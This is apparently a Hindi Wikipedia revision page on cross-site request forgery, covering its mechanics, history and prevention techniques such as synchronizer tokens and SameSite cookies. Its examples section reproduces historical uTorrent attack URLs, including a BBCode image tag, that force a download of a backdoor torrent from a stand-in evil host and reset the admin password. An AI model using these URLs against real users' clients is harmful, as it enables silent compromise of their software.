हमला अंधा है: | हमला अंधा है: अटैक्स यह नहीं देख सकता कि जाली अनुरोधों के जवाब में लक्ष्य वेबसाइट पीड़ित को क्या भेजती है, जब तक कि वे लक्ष्य वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का लाभ नहीं उठाते। इसी तरह, अटैक्स केवल किसी भी लिंक को लक्षित कर सकता है या प्रारंभिक जाली रिक्वेस्ट के बाद आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित हों। (एक पृष्ठ पर अनेक छवियों को सम्मिलित करके, या क्लिकों के बीच देरी प्रारंभ करने के लिए जावास्क्रिप्ट का उपयोग करके अनेक लक्ष्यों का अनुकरण किया जा सकता है।)<ref>{{Cite web |title=CSRF: Cross-site request forgery attacks explained |url=https://www.ionos.com/digitalguide/server/security/cross-site-request-forgery-csrf/ |access-date=2022-04-26 |website=IONOS Digitalguide |language=en}}</ref> | ||
==रोकथाम== | ==रोकथाम== | ||
| Line 85: | Line 86: | ||
===[[सिंक्रोनाइज़र टोकन पैटर्न]]=== | ===[[सिंक्रोनाइज़र टोकन पैटर्न]]=== | ||
सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है जहां टोकन, प्रत्येक | सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है जहां टोकन, प्रत्येक रिक्वेस्ट के लिए गुप्त और अद्वितीय मान, सभी एचटीएमएल रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता है (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)। इस प्रकार अटैक्स अपने अनुरोधों को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।<ref name=Shiflett /><ref name="owasp">{{cite web | url=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html | title=क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट| publisher=OWASP | access-date=2019-07-19}}</ref><ref name=Valhalla>{{cite web|url=http://halls-of-valhalla.org/beta/articles/cross-site-request-forgery-demystified,47/|title=Valhalla Articles - Cross-Site Request Forgery: Demystified}}</ref> | ||
एचटीएमएल फॉर्म में [[Django (वेब फ्रेमवर्क)|जैंगो (वेब फ्रेमवर्क)]] द्वारा निर्धारित STP का उदाहरण: | |||
<syntaxhighlight lang="xml"><input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" /></syntaxhighlight> | <syntaxhighlight lang="xml"><input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" /></syntaxhighlight> | ||
एसटीपी सबसे अधिक संगत है क्योंकि यह केवल | एसटीपी सबसे अधिक संगत है क्योंकि यह केवल एचटीएमएल पर निर्भर करता है, किन्तु प्रत्येक रिक्वेस्ट पर टोकन की वैधता की जांच से जुड़े बोझ के कारण सर्वर साइड पर कुछ जटिलताएं पेश करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी लागू करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को जन्म देता है (उदाहरण के लिए उपयोगकर्ता अनेक टैब खोलता है)। प्रति रिक्वेस्ट सीएसआरएफ टोकन के बजाय प्रति सेशन सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है। | ||
===कुकी-टू-हेडर टोकन=== | ===कुकी-टू-हेडर टोकन=== | ||
| Line 96: | Line 97: | ||
वेब एप्लिकेशन जो अपने अधिकांश कार्यों के लिए जावास्क्रिप्ट का उपयोग करते हैं, वे निम्नलिखित एंटी-सीएसआरएफ तकनीक का उपयोग कर सकते हैं: | वेब एप्लिकेशन जो अपने अधिकांश कार्यों के लिए जावास्क्रिप्ट का उपयोग करते हैं, वे निम्नलिखित एंटी-सीएसआरएफ तकनीक का उपयोग कर सकते हैं: | ||
* किसी संबद्ध सर्वर | * किसी संबद्ध सर्वर सेशन के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में आम तौर पर यादृच्छिक टोकन होता है जो वेब सेशन के जीवनकाल तक समान रह सकता है | ||
सेट-कुकी: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; समाप्ति=गुरु, 23-जुलाई-2015 10:25:33 जीएमटी; अधिकतम आयु=31449600; पथ=/; सेमसाइट=लैक्स; सुरक्षित | सेट-कुकी: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; समाप्ति=गुरु, 23-जुलाई-2015 10:25:33 जीएमटी; अधिकतम आयु=31449600; पथ=/; सेमसाइट=लैक्स; सुरक्षित | ||
* क्लाइंट साइड पर काम करने वाला जावास्क्रिप्ट इसके मूल्य को पढ़ता है और इसे प्रत्येक लेनदेन | * क्लाइंट साइड पर काम करने वाला जावास्क्रिप्ट इसके मूल्य को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम [[HTTP हेडर|एचटीटीपी हेडर]] में कॉपी करता है | ||
X-Csrf-टोकन: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql | X-Csrf-टोकन: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql | ||
| Line 106: | Line 107: | ||
* सर्वर टोकन की उपस्थिति और अखंडता को मान्य करता है | * सर्वर टोकन की उपस्थिति और अखंडता को मान्य करता है | ||
इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर | इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मूल्य को पढ़ने में सक्षम होगी। किसी दुष्ट फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक कि भले ही {{mono|csrf-token}} कुकी स्वचालित रूप से दुष्ट रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैध की अपेक्षा करेगा {{mono|X-Csrf-Token}} शीर्ष लेख. | ||
सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे HMAC का उपयोग करके [[सत्र कुकी]] से प्राप्त किया जा सकता है: | सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे HMAC का उपयोग करके [[सत्र कुकी|सेशन कुकी]] से प्राप्त किया जा सकता है: | ||
सीएसआरएफ_टोकन = [[एचएमएसी]]( | सीएसआरएफ_टोकन = [[एचएमएसी]](सेशन_टोकन, एप्लिकेशन_सीक्रेट) | ||
सीएसआरएफ टोकन कुकी में [[httpOnly]] फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का इरादा है। | सीएसआरएफ टोकन कुकी में [[httpOnly]] फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का इरादा है। | ||
यह तकनीक | यह तकनीक अनेक आधुनिक ढाँचों द्वारा कार्यान्वित की जाती है, जैसे जैंगो (वेब ढाँचा)<ref>{{cite web | url=https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | title=क्रॉस साइट अनुरोध जालसाजी संरक्षण| publisher=Django | access-date=2015-01-20 | archive-url=https://web.archive.org/web/20150120134602/https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | archive-date=2015-01-20 | url-status=dead }}</ref> और [[AngularJS]].<ref>{{cite web | url=https://docs.angularjs.org/api/ng/service/$http#cross-site-request-forgery-xsrf-protection | title=क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा| publisher=AngularJS | access-date=2015-01-20}}</ref> क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह [[AJAX|एजेएएक्स]] एप्लिकेशनों के साथ अच्छी तरह से काम करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को लागू नहीं करता है। | ||
यदि लक्ष्य वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है: | यदि लक्ष्य वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है: | ||
| Line 124: | Line 125: | ||
===डबल सबमिट कुकी=== | ===डबल सबमिट कुकी=== | ||
कुकी-टू-हेडर दृष्टिकोण के समान, | कुकी-टू-हेडर दृष्टिकोण के समान, किन्तु जावास्क्रिप्ट को सम्मिलित किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक एचटीएमएल फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट जांच कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है या नहीं। समान-मूल नीति किसी अटैक्स को लक्ष्य डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैध टोकन नहीं डाल सकते हैं।<ref>{{cite web|url=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#double-submit-cookie|title=डबल सबमिट कुकी रक्षा|publisher=OWASP}}</ref> | ||
सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है। | सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है। | ||
| Line 130: | Line 131: | ||
===समान साइट कुकी विशेषता=== | ===समान साइट कुकी विशेषता=== | ||
जब सर्वर कुकी सेट करता है, तो अतिरिक्त सेमसाइट विशेषता | जब सर्वर कुकी सेट करता है, तो अतिरिक्त सेमसाइट विशेषता सम्मिलित की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट अनुरोधों में संलग्न किया जाए या नहीं। यदि यह विशेषता सख्त पर सेट है, तो कुकी केवल उसी साइट अनुरोधों पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाएगा। चूंकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही ढंग से लागू करने की आवश्यकता होती है।<ref>{{cite web|url=https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies|title=सेमसाइट कुकीज़|publisher=Mozilla}}</ref> | ||
===ग्राहक-पक्ष सुरक्षा उपाय=== | ===ग्राहक-पक्ष सुरक्षा उपाय=== | ||
ब्राउज़र एक्सटेंशन जैसे RequestPolicy ([[मोज़िला फ़ायरफ़ॉक्स]] के लिए) या {{proper name|uMatrix}} (फ़ायरफ़ॉक्स और Google क्रोम/क्रोमियम (वेब ब्राउज़र) दोनों के लिए) क्रॉस-साइट अनुरोधों के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। | ब्राउज़र एक्सटेंशन जैसे RequestPolicy ([[मोज़िला फ़ायरफ़ॉक्स]] के लिए) या {{proper name|uMatrix}} (फ़ायरफ़ॉक्स और Google क्रोम/क्रोमियम (वेब ब्राउज़र) दोनों के लिए) क्रॉस-साइट अनुरोधों के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। चूंकि, यह अनेक वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। CsFire एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट अनुरोधों से प्रमाणीकरण जानकारी को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ सीएसआरएफ के प्रभाव को कम कर सकता है। | ||
फ़ायरफ़ॉक्स के लिए [[नोस्क्रिप्ट]] एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए | फ़ायरफ़ॉक्स के लिए [[नोस्क्रिप्ट]] एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए पोस्ट अनुरोधों से प्रमाणीकरण और पेलोड को हटाकर सीएसआरएफ खतरों को कम करता है। नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए अनुरोधों को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के अटैक्स को रोका जा सकता है। | ||
फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, | फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, किन्तु कुकीज़ को हटाकर, जैसे ही वे खुले टैब से संबद्ध नहीं होते हैं, अटैक की विंडो को कम कर सकता है। | ||
===अन्य तकनीकें=== | ===अन्य तकनीकें=== | ||
ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए | ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए अनेक अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है: | ||
* यह सत्यापित करना कि | * यह सत्यापित करना कि रिक्वेस्ट के शीर्षलेखों में सम्मिलित है <code>X-Requested-With</code> (v2.0 से पहले [[रूबी ऑन रेल्स]] द्वारा और v1.2.5 से पहले जैंगो (वेब फ्रेमवर्क) द्वारा उपयोग किया जाता है), या एचटीटीपी की जाँच कर रहा है <code>Referer</code> हेडर और/या एचटीटीपी <code>Origin</code> शीर्षक.<ref>[https://people.mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html Origin Header Proposal] {{Webarchive|url=https://web.archive.org/web/20160308045123/http://people.mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html |date=2016-03-08 }}. People.mozilla.org. Retrieved on 2013-07-29.</ref> चूंकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन अटैक्स को किसी भी वेबसाइट के रिक्वेस्ट पर कस्टम एचटीटीपी हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली रिक्वेस्ट की अनुमति मिलती है।<ref>{{cite web|title=Django 1.2.5 release notes|url=https://www.djangoproject.com/weblog/2011/feb/08/security/|work=Django}}</ref><ref>{{cite web|url=https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29|title=क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)|date=4 September 2012|work=OWASP, The Open Web Application Security Project|access-date=11 September 2012}}</ref> | ||
* | * एचटीटीपी रेफरर एचटीटीपी की जाँच करना <code>Referer</code> हेडर यह देखने के लिए कि क्या रिक्वेस्ट किसी अधिकृत पृष्ठ से आ रहा है, आमतौर पर एम्बेडेड नेटवर्क उपकरणों के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। चूंकि, रिक्वेस्ट जो इसे छोड़ देता है <code>Referer</code> हेडर को अनधिकृत माना जाना चाहिए क्योंकि कोई अटैक्स इसे दबा सकता है <code>Referer</code> एफ़टीपी या एचटीटीपीएस यूआरएल से रिक्वेस्ट जारी करके हेडर। यह सख्त <code>Referer</code> सत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ पैदा कर सकता है जो इसे छोड़ देते हैं <code>Referer</code> गोपनीयता कारणों से शीर्षलेख. साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) मालिसियस फ़्लैश को [[HTTP प्रतिक्रिया विभाजन|एचटीटीपी प्रतिक्रिया विभाजन]] का उपयोग करके मनमाने ढंग से एचटीटीपी रिक्वेस्ट हेडर के साथ जीईटी या पोस्ट रिक्वेस्ट उत्पन्न करने की अनुमति देते हैं।<ref>{{cite web|url=https://secunia.com/advisories/22467/|title=Secunia Advisory SA22467|date=19 October 2006|publisher=Secunia|access-date=11 September 2012}}</ref> क्लाइंट में समान सीआरएलएफ इंजेक्शन कमजोरियों का उपयोग एचटीटीपी रिक्वेस्ट के रेफरर को धोखा देने के लिए किया जा सकता है। | ||
* कुछ समय के लिए | * कुछ समय के लिए पोस्ट रिक्वेस्ट [[अनुरोध विधि|विधि]] को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके मामूली सीएसआरएफ अटैक्स के प्रति प्रतिरोधी माना जाता था। चूंकि, पोस्ट और किसी अन्य एचटीटीपी विधि दोनों को अब एक्सएमएलHttpRequests का उपयोग करके आसानी से निष्पादित किया जा सकता है। अप्रत्याशित जीईटी अनुरोधों को फ़िल्टर करना अभी भी कुछ विशेष अटैक्स को रोकता है, जैसे मालिसियस छवि यूआरएल या लिंक पते का उपयोग करके क्रॉस-साइट अटैक और क्रॉस-साइट सूचना लीकेज <code><script></code> तत्व (जावास्क्रिप्ट अपहरण); यह आक्रामक [[वेब क्रॉलर]] और [[लिंक प्रीफेचिंग]] के साथ (गैर-सुरक्षा-संबंधी) समस्याओं को भी रोकता है।<ref name="Shiflett" /> | ||
क्रॉस-साइट स्क्रिप्टिंग ( | क्रॉस-साइट स्क्रिप्टिंग (एक्सएसएस ) निर्बलता (यहां तक कि ही डोमेन पर चलने वाले अन्य एप्लिकेशनों में भी) अटैक्सों को अनिवार्य रूप से सभी सीएसआरएफ रोकथामों को बायपास करने की अनुमति देती हैं।<ref>{{cite web|url=http://www.webappsecblog.com/CsrfAndSameOriginXss.html|title=सीएसआरएफ और समान-मूल XSS|first=Christian|last=Schneider|access-date=2012-04-21|archive-url=https://web.archive.org/web/20120814151512/http://www.webappsecblog.com/CsrfAndSameOriginXss.html|archive-date=2012-08-14|url-status=dead}}</ref> | ||
==यह भी देखें== | ==यह भी देखें== | ||
| Line 157: | Line 158: | ||
* [[वेब मैसेजिंग]] | * [[वेब मैसेजिंग]] | ||
* [[ढेर छिड़काव]] | * [[ढेर छिड़काव]] | ||
* | * अटैक को फिर से खेलना | ||
* | * सेशन निर्धारण | ||
* एप्लिकेशन सुरक्षा | * एप्लिकेशन सुरक्षा | ||
Revision as of 18:03, 12 August 2023
क्रॉस-साइट रिक्वेस्ट जालसाजी, जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है। और इसे संक्षिप्त रूप में सीएसआरएफ (कभी-कभी सी-सर्फ कहा जाता है) या एक्सएसआरएफ कहा जाता है,[1] या वेबसाइट या वेब एप्लिकेशन का प्रकार का मालिसियस एक्सप्लॉइट (कंप्यूटर) है। जहां उपयोगकर्ता (कंप्यूटिंग) से अनधिकृत कमांड सबमिट किए जाते हैं। जिस पर वेब एप्लिकेशन भरोसा करता है।[2] इस प्रकार से ऐसी अनेक विधि हैं। जिनसे कोई मालिसियस वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए इमेज टैग्स, छिपे हुए फॉर्म और जावास्क्रिप्ट फ़ेच एक्सएमएलHttpRequests विकल्प या एक्सएमएलHttpRequestss, ये सभी उपयोगकर्ता की कोन्वर्सेसन या नॉलेज के बिना भी कार्य कर सकते हैं। इस प्रकार से क्रॉस साइट स्क्रिप्टिंग (एक्सएसएस) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के भरोसे का लाभ उठाता है, सीएसआरएफ उस भरोसे का लाभ उठाता है। जो की साइट उपयोगकर्ता के ब्राउज़र में रखती है।[3] सीएसआरएफ अटैक में, निर्दोष अंतिम उपयोगकर्ता को अटैक्स द्वारा वेब रिक्वेस्ट सबमिट करने के लिए भटकाया जाता है, जिसका उनका इरादा नहीं था। इससे वेबसाइट पर ऐसी क्रियाएँ हो सकती हैं जिनमें इंडवेरटेन्ट क्लाइंट या सर्वर डेटा लीकेज, सेशन स्थिति में परिवर्तन, या अंतिम उपयोगकर्ता के खाते में परिवर्तन सम्मिलित हो सकता है।
सीएसआरएफ शब्द का उपयोग सीएसआरएफ अटैक्स के अधीन बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे अटैक्स का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं।
विशेषताएँ
सीएसआरएफ अटैक में, अटैक्स का लक्ष्य निर्दोष पीड़ित को इंडवेरटेन्ट में उस वेबसाइट पर मालिसियस रूप से तैयार किए गए वेब रिक्वेस्ट को सबमिट करने के लिए प्रेरित करना है, जिस तक पीड़ित के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब रिक्वेस्ट को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को सम्मिलित करने के लिए तैयार किया जा सकता है जो रिक्वेस्ट को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। जोखिम में वे वेब एप्लिकेशन हैं जो विशिष्ट कार्रवाई के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और प्रमाणीकरण उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। उपयोगकर्ता जो उपयोगकर्ता के वेब ब्राउज़र में सहेजी गई एचटीटीपी कुकी द्वारा प्रमाणित है, इंडवेरटेन्ट में उस साइट पर एचटीटीपी रिक्वेस्ट भेज सकता है जो उपयोगकर्ता पर भरोसा करती है और इस तरह अवांछित कार्रवाई का कारण बन सकती है।
वेब ब्राउज़र की सामान्य संपत्ति यह है कि वे स्वचालित रूप से और अदृश्य रूप से उस डोमेन पर भेजे गए किसी भी वेब रिक्वेस्ट में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सेशन कुकीज़ और अन्य सहित) को सम्मिलित करेंगे। सीएसआरएफ अटैक्स द्वारा इस संपत्ति का शोषण किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से इंडवेरटेन्ट में रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से सम्मिलित कुकीज़ वेब सर्वर पर जाली रिक्वेस्ट को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सेशन स्थिति में परिवर्तन करने या बनाने सहित कोई भी उचित अनुरोधित कार्रवाई करेगा। पीड़ित के खाते में परिवर्तन.
सीएसआरएफ अटैक को काम करने के लिए, अटैक्स को प्रतिलिपि प्रस्तुत करने योग्य वेब रिक्वेस्ट की पहचान करनी होगी जो लक्ष्य पृष्ठ पर खाता पासवर्ड परिवर्तन जैसी विशिष्ट कार्रवाई निष्पादित करता है। बार ऐसे रिक्वेस्ट की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस मालिसियस रिक्वेस्ट को उत्पन्न करता है और उस लिंक को अटैक्स के नियंत्रण में पृष्ठ पर एम्बेड किया जा सकता है।[1][4] यह लिंक इस तरह से रखा जा सकता है कि पीड़ित के लिए लिंक पर क्लिक करना भी जरूरी नहीं है। उदाहरण के लिए, इसे पीड़ित को भेजे गए ईमेल पर एचटीएमएल इमेज टैग्स के भीतर एम्बेड किया जा सकता है जो पीड़ित द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाएगा। बार जब पीड़ित लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को सम्मिलित कर लेगा और वेब सर्वर पर रिक्वेस्ट सबमिट कर देगा। वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होगा क्योंकि रिक्वेस्ट उस उपयोगकर्ता द्वारा किया गया था जिसने लॉग इन किया था और सभी अपेक्षित कुकीज़ जमा की थीं।
क्रॉस-साइट रिक्वेस्ट जालसाजी वेब ब्राउज़र के विरुद्ध भ्रमित डिप्टी का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त अटैक्स द्वारा जाली रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है।
सीएसआरएफ में आमतौर पर निम्नलिखित विशेषताएं होती हैं:
- इसमें ऐसी साइटें सम्मिलित हैं जो उपयोगकर्ता की ऑनलाइन पहचान पर निर्भर करती हैं।
- यह उस पहचान में साइट के भरोसे का शोषण करता है।
- यह उपयोगकर्ता के ब्राउज़र को लक्षित साइट पर एचटीटीपी रिक्वेस्ट भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है।
- इसमें एचटीटीपी रिक्वेस्ट सम्मिलित हैं जिनका साइड इफेक्ट (कंप्यूटर साइंस) है।
इतिहास
सीएसआरएफ टोकन निर्बलता ज्ञात हैं और कुछ स्तिथियो में 2001 से उनका शोषण किया गया है।[5] क्योंकि यह उपयोगकर्ता के आईपी पते से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का सबूत नहीं हो सकता है।[2] कम से कम सार्वजनिक रूप से, और 2007 तक, शोषण की कम रिपोर्ट की गई है[6] कुछ अच्छी तरह से प्रलेखित उदाहरण थे:
- 2006 में NetFlix वेबसाइट में सीएसआरएफ के लिए अनेक कमजोरियां थीं, जो अटैक्स को पीड़ित की किराये की कतार में डीवीडी जोड़ने, खाते पर शिपिंग पता परिवर्तन, या पूरी तरह से समझौता करने के लिए पीड़ित के लॉगिन क्रेडेंशियल को परिवर्तन जैसे कार्य करने की अनुमति दे सकती थी। खाता।[7]
- आईएनजी डायरेक्ट का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ अटैक के प्रति संवेदनशील था जो अवैध धन हस्तांतरण की अनुमति देता था।[8]
- लोकप्रिय वीडियो वेबसाइट यूट्यूब भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी अटैक्स को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।[8]
- McAfee Securities भी सीएसआरएफ के प्रति संवेदनशील थी और इसने अटैक्सों को अपनी कंपनी प्रणाली को परिवर्तन की अनुमति दी। इसे नए संस्करणों में ठीक कर दिया गया है.[9]
2018 में वेब-सक्षम उपकरणों के अधीन नए अटैक किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को परिवर्तन के प्रयास भी सम्मिलित थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए जल्दबाजी में फर्मवेयर अपडेट जारी किए, और जोखिम को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स परिवर्तन की सलाह दी। स्पष्ट सुरक्षा कारणों का हवाला देते हुए विवरण जारी नहीं किया गया।[10]
उदाहरण
सीएसआरएफ भेद्यता का वर्णन करने वाला राष्ट्रीय भेद्यता डेटाबेस पृष्ठ
अटैक्स जो प्रतिलिपि प्रस्तुत करने योग्य लिंक पा सकते हैं जो पीड़ित के लॉग इन होने पर लक्ष्य पृष्ठ पर विशिष्ट कार्रवाई निष्पादित करता है, वे ऐसे लिंक को उस पृष्ठ पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और पीड़ित को इसे खोलने के लिए धोखा दे सकते हैं।[1] आक्रमण वाहक लिंक को उस स्थान पर रखा जा सकता है जहां लक्ष्य साइट (उदाहरण के लिए, चर्चा मंच) में लॉग इन करते समय पीड़ित के आने की संभावना है, या एचटीएमएल ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। uTorrent में वास्तविक सीएसआरएफ भेद्यता (CVE-2008-6586) ने इस तथ्य का लाभ उठाया कि इसका वेब कंसोल स्थानीय होस्ट पर पहुंच योग्य है। :8080 ने साधारण जीईटी रिक्वेस्ट का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी:
- एक .torrent फ़ाइल डाउनलोड को बाध्य करें
- http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
- UTorrent व्यवस्थापक पासवर्ड बदलें
- http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin
फ़ोरम और ईमेल स्पैम पर मालिसियस, स्वचालित-क्रिया वाले एचटीएमएल तत्व इमेज और ऑब्जेक्ट डालकर अटैक प्रारंभ किए गए, जिससे इन पृष्ठों पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक कार्रवाई के बिना स्वचालित रूप से खोल सकें। इन पेजों को खोलने के साथ ही असुरक्षित utorrent संस्करण चलाने वाले लोग अटैक के प्रति संवेदनशील थे।
इमेज टैग्स का उपयोग करके सीएसआरएफ अटैक अक्सर इंटरनेट मंचों से किए जाते हैं, जहां उपयोगकर्ताओं को छवियां पोस्ट करने की अनुमति होती है किन्तु जावास्क्रिप्ट की नहीं, उदाहरण के लिए बीबीसीओडी का उपयोग करना:
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]
